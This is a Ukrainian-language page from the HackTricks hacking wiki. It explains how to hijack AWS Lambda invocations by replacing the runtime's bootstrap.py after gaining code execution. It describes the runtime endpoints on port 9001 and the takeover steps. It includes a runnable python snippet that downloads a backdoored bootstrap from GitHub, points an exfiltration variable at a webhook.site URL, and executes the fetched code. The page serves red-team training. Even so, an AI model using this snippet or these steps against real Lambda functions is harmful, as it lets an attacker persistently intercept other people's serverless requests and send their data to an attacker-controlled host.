AWS - Вкрасти запити Lambda
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Потік Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer - це процес поза контейнером, який надсилає виклики до процесу init.
- Процес init слухає на порту 9001, відкриваючи деякі цікаві кінцеві точки:
/2018-06-01/runtime/invocation/next
– отримати наступну подію виклику/2018-06-01/runtime/invocation/{invoke-id}/response
– повернути відповідь обробника для виклику/2018-06-01/runtime/invocation/{invoke-id}/error
– повернути помилку виконання
- bootstrap.py має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (
/next
). - Нарешті, bootstrap.py надсилає до init відповідь.
Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.
Вкрадання запитів Lambda
Мета цієї атаки - змусити код користувача виконати шкідливий процес bootstrap.py
всередині процесу bootstrap.py
, який обробляє вразливий запит. Таким чином, шкідливий bootstrap процес почне спілкуватися з процесом init, щоб обробляти запити, поки легітимний bootstrap потрапить у пастку, виконуючи шкідливий, тому він не запитуватиме запити у процесу init.
Це проста задача, оскільки код користувача виконується легітимним процесом bootstrap.py
. Тому зловмисник може:
- Надіслати підроблений результат поточного виклику до процесу init, щоб init думав, що процес bootstrap чекає на більше викликів.
- Запит має бути надісланий до
/${invoke-id}/response
- invoke-id можна отримати зі стеку легітимного процесу
bootstrap.py
, використовуючи модуль inspect python (як пропонувалося тут) або просто запитуючи його знову до/2018-06-01/runtime/invocation/next
(як пропонувалося тут). - Виконати шкідливий
boostrap.py
, який оброблятиме наступні виклики. - Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай.
- Для цієї атаки достатньо отримати оригінальний код
bootstrap.py
з системи або github, додати шкідливий код і запустити його з поточного виклику lambda.
Кроки атаки
- Знайти вразливість RCE.
- Згенерувати шкідливий bootstrap (наприклад, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Виконати шкідливий bootstrap.
Ви можете легко виконати ці дії, запустивши:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Для отримання додаткової інформації перевірте https://github.com/carlospolop/lambda_bootstrap_switcher
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.